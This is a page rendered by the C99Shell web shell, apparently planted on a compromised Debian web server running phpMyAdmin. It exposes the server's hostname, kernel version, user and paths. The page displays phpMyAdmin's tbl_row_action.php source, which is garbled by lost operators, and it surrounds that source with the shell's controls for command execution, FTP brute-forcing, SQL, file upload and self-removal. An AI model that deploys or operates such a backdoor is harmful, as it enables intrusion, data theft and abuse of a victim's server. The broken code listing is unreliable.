!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/   drwxr-xr-x
Free 130.05 GB of 142.11 GB (91.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tbl_row_action.php (4.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * handle row specifc actions like edit, delete, export
 *
 * @version $Id$
 * @package phpMyAdmin
 */


/**
 * do not globalize/import request variables
 * can only be enabled if all included files are switched superglobals too
 * but leave this here to show that this file is 'superglobalized'
define('PMA_NO_VARIABLES_IMPORT', true);
 */

/**
 *
 */
require_once './libraries/common.inc.php';
require_once 
'./libraries/mysql_charsets.lib.php';

/**
 * No rows were selected => show again the query and tell that user.
 */
if (! PMA_isValid($_REQUEST['rows_to_delete'], 'array')
 && ! isset(
$_REQUEST['mult_btn'])) {
    
$disp_message $strNoRowsSelected;
    
$disp_query '';
    require 
'./sql.php';
    require_once 
'./libraries/footer.inc.php';
}

if (isset(
$_REQUEST['submit_mult'])) {
    
$submit_mult $_REQUEST['submit_mult'];
// workaround for IE problem:
} elseif (isset($_REQUEST['submit_mult_delete_x'])) {
    
$submit_mult 'row_delete';
} elseif (isset(
$_REQUEST['submit_mult_change_x'])) {
    
$submit_mult 'row_edit';
} elseif (isset(
$_REQUEST['submit_mult_export_x'])) {
    
$submit_mult 'row_export';
}

// If the 'Ask for confirmation' button was pressed, this can only come
// from 'delete' mode, so we set it straight away.
if (isset($_REQUEST['mult_btn'])) {
    
$submit_mult 'row_delete';
}

switch(
$submit_mult) {
    case 
'row_delete':
    case 
'row_edit':
    case 
'row_export':
        
// leave as is
        
break;

    case 
$GLOBALS['strExport']:
        
$submit_mult 'row_export';
        break;

    case 
$GLOBALS['strDelete']:
    case 
$GLOBALS['strKill']:
        
$submit_mult 'row_delete';
        break;

    default:
    case 
$GLOBALS['strEdit']:
        
$submit_mult 'row_edit';
        break;
}

$GLOBALS['js_include'][] = 'tbl_change.js';
$GLOBALS['js_include'][] = 'functions.js';

require_once 
'./libraries/header.inc.php';

if (!empty(
$submit_mult)) {
    switch(
$submit_mult) {
        case 
'row_edit':
            
// garvin: As we got the fields to be edited from the 
            // 'rows_to_delete' checkbox, we use the index of it as the
            // indicating WHERE clause. Then we build the array which is used 
            // for the tbl_change.php script.
            
$where_clause = array();
            foreach (
$_REQUEST['rows_to_delete'] as $i_where_clause => $del_query) {
                
$where_clause[] = urldecode($i_where_clause);
            }

            
$active_page 'tbl_change.php';
            include 
'./tbl_change.php';
            break;

        case 
'row_export':
            
// Needed to allow SQL export
            
$single_table TRUE;

            
// garvin: As we got the fields to be edited from the 
            // 'rows_to_delete' checkbox, we use the index of it as the
            // indicating WHERE clause. Then we build the array which is used 
            // for the tbl_change.php script.
            
$where_clause = array();
            foreach (
$_REQUEST['rows_to_delete'] as $i_where_clause => $del_query) {
                
$where_clause[] = urldecode($i_where_clause);
            }

            
$active_page 'tbl_export.php';
            include 
'./tbl_export.php';
            break;

        case 
'row_delete':
        default:
            
$action 'tbl_row_action.php';
            
$err_url 'tbl_row_action.php' PMA_generate_common_url($GLOBALS['url_params']);
            if (! isset(
$_REQUEST['mult_btn'])) {
                
$original_sql_query $sql_query;
                
$original_url_query $url_query;
            }
            require 
'./libraries/mult_submits.inc.php';
            
$_url_params $GLOBALS['url_params'];
            
$_url_params['goto'] = 'tbl_sql.php';
            
$url_query PMA_generate_common_url($_url_params);


            
/**
             * Show result of multi submit operation
             */
            // sql_query is not set when user does not confirm multi-delete
            
if ((!empty($submit_mult) || isset($_REQUEST['mult_btn'])) && ! empty($sql_query)) {
                
$disp_message $strSuccess;
                
$disp_query $sql_query;
            }

            if (isset(
$original_sql_query)) {
                
$sql_query $original_sql_query;
            }

            if (isset(
$original_url_query)) {
                
$url_query $original_url_query;
            }

            
// this is because sql.php could call tbl_structure
            // which would think it needs to call mult_submits.inc.php:
            
unset($submit_mult$_REQUEST['mult_btn']);

            
$active_page 'sql.php';
            require 
'./sql.php';

            
/**
             * Displays the footer
             */
            
require_once './libraries/footer.inc.php';
            break;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0206 ]--